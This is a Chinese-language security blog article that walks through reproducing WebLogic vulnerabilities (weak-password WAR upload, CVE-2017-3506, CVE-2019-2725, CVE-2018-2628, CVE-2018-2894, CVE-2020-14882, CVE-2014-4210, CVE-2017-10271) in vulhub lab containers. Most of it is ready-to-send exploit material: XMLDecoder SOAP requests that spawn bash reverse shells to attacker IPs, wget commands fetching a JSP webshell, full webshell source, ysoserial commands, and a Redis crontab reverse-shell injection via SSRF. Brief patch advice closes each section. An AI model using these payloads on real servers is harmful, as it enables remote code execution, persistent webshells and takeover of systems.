中间件安全|WebLogic漏洞汇总
中间件安全|WebLogic漏洞汇总
原创 Cyb3rES3 Cyb3rES3c 2024-11-09 13:02
0x0声明
由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人承担,Cyb3rES3c及文章作者不承担任何责任。如有侵权烦请告知,我们将立即删除相关内容并致歉。请遵守《中华人民共和国个人信息保护法》、《中华人民共和国网络安全法》等相关法律法规。
0x1 前言
漏洞复现使用的是Linux+Docker容器,靶场是vulhub。
0x2 WebLogic概述
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,默认端口:7001,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
0x3后台弱口令 GetShell
漏洞描述
WebLogic 系统存在弱口令漏洞,通过弱口令进入后台。在后台的部署处存在上传文件的功能点,利用该功能点上传 war 包可 getshell。
影响范围
WebLogic 全版本(后台管理系统存在弱口令的前提下)
环境搭建
cd vulhub/weblogic/weak_password
docker-compose up -d
访问下面的URL
http://<IP/DomainName>:7001/console/login/LoginForm.jsp
出现下面的登录页面就说明环境搭建成功了
漏洞复现
WebLogic 默认账号/密码:
weblogic/Oracle@123
注:单个账号的密码出入错误次数超过 5 次就会自动锁定。
在后台管理的部署->安装服务中有一个可以上传文件功能点
将 JSP 木马压缩为 zip 文件
将压缩后的zip文件后缀名修改为.war
上传WebShell
点击“下一步”
点击“下一步”
点击“完成”
这个时候就会发现多了一个名称为 shell 的 Web 应用程序
到这里 WebShell 就上传成功了
修复建议
将弱密码修改为强密码
0x4CVE-2017-3506
漏洞描述
WebLogic 的 WLS Security 组件对外提供的 WebServer 服务,其中使用了 XMLDecoder 来解析用户输入的 XML 数据,在解析的过程中存在反序列化漏洞,可导致任意命令执行。
影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.1
WebLogic 12.2.1.2
环境搭建
vulhub/weblogic/weak_password
docker-compose up -d
漏洞复现
漏洞验证路径:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
响应结果若如下图所示(注:不同路径的响应结果有细微差别),则存在 wls_wsat 组件
利用方式1:浏览器页面打印字符串
HTTP请求报文如下
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.111.128:7001
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 643
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/1.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("Successfully!"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
发送HTTP请求报文
第一个 string 标签中的内容是 WebShell 的路径,第二个 string 标签的内容是 XML 文档的内容
访问上传的脚本,访问路径是 项目名+文件名
利用方式2:反弹Shell
先利用nc监听端口
HTTP请求报文
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.111.128:7001
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/172.22.32.165/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
发送HTTP报文
成功接收到反弹Shell,如下图所示
利用方式3 上传WebShell
HTTP请求报文
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.111.128:7001
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1565
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println">
<string>
<![CDATA[
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
发送HTTP请求报文
访问WebShell
蚁剑连接WebShell
也可以将WebShell修改为HTTP响应式的WebShell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.111.128:7001
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 812
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println">
<string>
<![CDATA[
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
上传WebShell
利用WebShell执行命令
利用方式4 工具
也可以选择利用工具直接上传 WebShell
要先用工具检查是否存在漏洞之后才能上传文件
存在漏洞,上传WebShell
蚁剑连接WebShell
修复建议
更新到最近版本,打上补丁,对 wls-wsat 的资源进行访问控制。
0x5CVE-2019-2725
漏洞描述
wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。
这个漏
洞依旧是根据 WebLogic 的 XMLdecoder 反序列化漏洞。
影响范围
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影响组件:
bea_wls9_async_response.war
wsat.war
环境搭建
cd vulhub/weblogic/weak_password
docker-compose up -d
漏洞复现
访问 /_async/AsyncResponseService路径,出现下面这个页面就说明存在漏洞
利用方式1 反弹Shell
HTTP请求报文如下
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.128:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.235.9/7777 0>&1
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
开启端口监听
发送反弹Shell的HTTP请求报文
成功接收到反弹Shell
利用方式2 上传WebShell
WebShell 可放置在两个路径下,分别是
路径一:bea_wls9_async_response/8tpkys/war
访问路径:http://<IP/DomainName>:7001/_async/shell.jsp
路径二:bea_wls_internal/9j4dqk/war
访问路径:http://<IP/DomainName>:7001/bea_wls_internal/shell.jsp
需要在VPS上开启Web Server,这里直接在本地开启Web Server即可,并在WWW目录下放置一个JSP WebShell以供靶机下载
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
重新访问
/_async/AsyncResponseService 路径,利用BurpSuite抓包,构造Payload
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.128:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 838
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.235.9/JspWebShell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmd.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
发送HTTP报文
WebShell上传成功,访问路径如下
http://<IP/DomainName>:7001/bea_wls_internal/cmd.jsp
修复建议
禁用 bea_wls9_async_response 组件。
删除 wls9_async_response 的 war 包并重启。
禁止访问/_async/* 路径。
0x6CVE-2018-2628
漏洞描述
WebLogic Server中的RMI 通信使⽤T3协议在WebLogic Server和其它Java程序(客户端或者其它 WebLogic Server实例)之间传输数据, 服务器实例会跟踪连接到应⽤程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端⼝的应⽤上默认开 启, 攻击者可以通过T3协议发送恶意的的反序列化数据, 进⾏反序列化, 实现对存在漏洞的WebLogic组件 的远程代码执⾏攻击。
影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.2
WebLogic 12.2.1.3
环境搭建
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d
漏洞复现
访问环境后响应状态码是 404
使用 nmap 扫描发现 T3 协议
利用DNSLog检查漏洞是否存在
根据DNSLog响应结果可以判断漏洞存在
利用方式1 反弹Shell
利用 ysoserial 开启一个 JRMP Server
java -cp ysoserial.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中 [command] 是要执行的命令,[listen port] 是 JRMP Server 监听的端口。
ysoserial 不允许出现 &符号,需要利用Base64编码构造反弹 shell
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNS45Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'
Base64编码的内容如下图所示
注:在 Windows 中需要使用 PowerShell 来执行,否则 base64 命令会报错。
EXP 脚本下载地址:https://www.exploit-db.com/exploits/44553
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中 [victim ip] 和 [victim port] 分别是靶机 IP 和端口,[JRMPListener ip] 和[JRMPListener port] 分别是 JRMP 服务器的 IP 和端口,[JRMPClient] 是执行 JRMPClient 的类,可选的值有 JRMPClient 或 JRMPClient2。
执行EXP(需要Python2的环境,这里使用Python2.7)
F:\Env\Python_2_7\python.exe 44553.py 192.168.111.128 7001 F:\SecTools\ysoserial\ysoserial.jar 192.168.235.9 6666 JRMPClient
先启动 JRMP Server
然后开启监听 nc,最后启动 JRMP Client
成功接收到反弹Shell
利用方式2 RCE
脚本地址
https://github.com/jas502n/CVE-2018-2628
需要Python2环境运行
运行脚本后会生成一个HTTP访问链接,复制链接在浏览器中访问
每执行一次命令都需要重新运行一次脚本,要对执行的命令进行 Base64 编码。
利用方式3 工具
工具链接:
https://github.com/One-Fox-Security-Team/One-Fox-T00ls
修复建议
更新补丁。
禁用 T3 协议或禁止 T3 端口对外开放,或限制可访问 T3 端口的 IP 来源。
升级版本。
0x7CVE-2018-2894
漏洞描述
该漏洞是由弱口令引起的,攻击者通过弱口令进入 WebLogic Server 开启 Web Server Test Page 服务,在WebLogic Server Test Page 中存在一处文件上传漏洞。
影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.2
WebLogic 12.2.1.3
环境搭建
cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d
环境搭建好之后查看管理员密码
docker compose logs | grep password
username: weblogic
password: PSbXk8JO
漏洞复现
使用脚本检测是否存在 CVE-2018-2894 漏洞
import requests
def poc(checkedSocket):
checkURL1 = "http://" + checkedSocket + "/ws_utc/config.do"
checkURL2 = "http://" + checkedSocket + "/ws_utc/begin.do"
headers = {
'Content-Type': 'text/html; charset=UTF-8',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'
}
httpRequest1 = requests.get(checkURL1, headers)
httpRequest2 = requests.get(checkURL2, headers)
if httpRequest1.status_code == 200 and httpRequest2.status_code == 200:
print("[*] 存在CVE-2018-2894或其他漏洞!")
else:
print("[*] 不存在此漏洞")
if __name__ == '__main__':
checkedSocket = "192.168.111.128:7001"
poc(checkedSocket)
访问登录页面进行登录
http://<IP/DomainName>:7001/console/login/LoginForm.jsp
用户名和口令就是搭建环境时拿到的用户名和密码
username: weblogic
password: PSbXk8JO
由于 Oracle 已经修复了 WebLogic Web Service Test Page 中一处文件上传漏洞,所以我们想要利用这个漏洞需要手动开启 Web 服务。
找到 base_domain
点击“高级”
勾选 “启用 Web 服务测试页”,然后保存
启用 Web 服务测试页之后需要修改 ws_utc/config.do(未授权访问)下的当前工作目录
访问 http://
将当前工作目录中的路径
/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir
修改为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(访问这个目录无需权限)
修改之后进行提交
提交之后点击左侧的 “安全”
点击“添加”,这里可以上传 WebShell
上传 WebShell
利用 BurpSuite 抓包获取时间戳
拿到时间戳之后构造 WebShell 访问路径
http://<ip/domain>:7001/ws_utc/css/config/keystore/<服务器响应时间戳>_<文件名>
http://192.168.111.128:7001/ws_utc/css/config/keystore/1730170162648_shell.jsp
蚁剑连接WebShell
修复建议
升级 Oracle WebLogic Server 到已经修复该漏洞的版本。
如果无法立即升级,可以通过配置 WebLogic Server 来限制对/ws_utc/begin.do和/ws_utc/config.do页面的访问。你可以要求用户进行身份验证才能访问这些页面,或者完全禁用这些页面。
0x8 CVE-2020-14882
漏洞描述
CVE-2020-14882 允许远程⽤户绕过管理员控制台组件中的身份验证。CVE-2020-14883 允许经过身份验证的⽤户在管理员控制台组件上执⾏任何命令。使⽤这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执⾏任 意命令并完全控制主机。
影响范围
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
环境搭建
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
漏洞复现
未授权路径:http://<IP/DomainName>:7001/console/css/%252e%252e%252fconsole.portal
注:1. 不要进行 URL 解码。2. 需要多次访问,第一次访问的响应状态码是 404。
http://192.168.111.128:7001/console/css/%252e%252e%252fconsole.portal
利用方式1
利用 com.tangosol.coherence.mvel2.sh.ShellSession 类(只能在 WbLogic 12.1.0 以上版本利用)
http://192.168.111.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/success%27);%22)
注意:不要进行 URL 解码。
访问之后响应页面如下
可以在 docker 中查看命令是否执行成功
success 存在,说明命令执行成功!
利用方式2
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,更为通杀的一种方式。
利用思路:利用 RCE 漏洞将 Web Server 上的反弹 shell 文件下载到本地并执行反弹 Shell。
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.235.9/7777 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
EXP
http://<靶机 IP>:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://<Web Server Socket>/CVE-2020-14882.xml%22)
http://192.168.111.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.235.9/CVE-2020-14882.xml%22)
开启端口监听
访问URL
成功接收到Shell
修复建议
升级系统或下载安装补丁。
WebLogic 不出网。
在不影响正常业务的情况下,建议暂时对外关闭后台/console/console.portal的访问权限,以防止未经授权的访问。
0x9CVE-2014-4210
漏洞描述
WebLogic SSRF漏洞形成的原因主要是由于服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致其可以获取服务器的一定量的数据,并可以实现篡改获取的资源并请求发送给服务器。在WebLogic中,这个漏洞主要出现在uddi组件(具体为uddi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp)。
影响范围
WebLogic 10.0.2
WebLogic 10.3.6
环境搭建
cd vulhub/weblogic/ssrf
docker compose up -d
复现之前一定要先检测 redis 服务是否启动,如果多次尝试都无法启动 redis,则需要修改 /etc/default/grub
vim /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"
然后执行下面的更新命令
update-grub
最后reboot重启系统,重启docker环境
cd vulhub/weblogic/ssrf
docker compose up -d
docker compose ps
漏洞复现
SSRF 漏洞存在路径如下
http://<IP/DomainName>:7001/uddiexplorer/SearchPublicRegistries.jsp
浏览器访问靶机:
http://192.168.111.128:7001/uddiexplorer/SearchPublicRegistries.jsp
构造 HTTP 请求包发起 SSRF 攻击
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: 192.168.111.128:7001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
其中 operator 是可控参数,下面是几种响应结果
如果进行端口探测,如果端口是否对外开放的响应结果是不同的,具体可以看 An error has occurred字符串下面的内容,下面是端口对外开放的响应包。
下面是端口不对外开放的响应包,响应的内容大概是连接不到 127.0.0.1:7000
查看 docker 环境的 IP(其实这里获取 IP 的方式在实战中不可行),检测 docker 环境中开启了什么服务
可以通过 Setup UDDI Explorer获取内网 IP 的
也可以使用脚本进行内网探测
在对内网端口探测时
发现可以连接 redis 服务
WebLogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。这里利用redis反弹Shell。
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.235.9/7777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aa
进行URL编码
%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.235.9%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaa
完整的EXP
http://172.19.0.2:6379/text%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.235.9%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaa
监听端口
等待一会儿即可接收到Shell
修复建议
限制 uddiexplorer 应用只能内网访问。
在不影响业务的情况下,将 SearchPublicRegistries.jsp 文件删除。
0xACVE-2017-10271
漏洞描述
CVE-2017-10271与CVE-2017-3506的漏洞原理是一样的,即WebLogic对恶意的XML请求防范的不够严密。
影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.0
WebLogic 12.2.1.1
WebLogic 12.2.1.2
环境搭建
cd vulhub/weblogic/CVE-2017-10271
docker compose up -d
漏洞复现
访问下面的地址
http://192.168.111.128:7001/wls-wsat/CoordinatorPortType11
访问下面的路径也可以
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11
出现下面这个页面则说明存在漏洞
利用漏洞反弹 shell,
开启端口监听
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 192.168.111.128: 7001
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 824
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.235.9/7777 0>&1</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
成功接收到Shell
修复建议
更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
如果想要及时了解更多内容,请关注
Cyb3rES3c
微信公众号!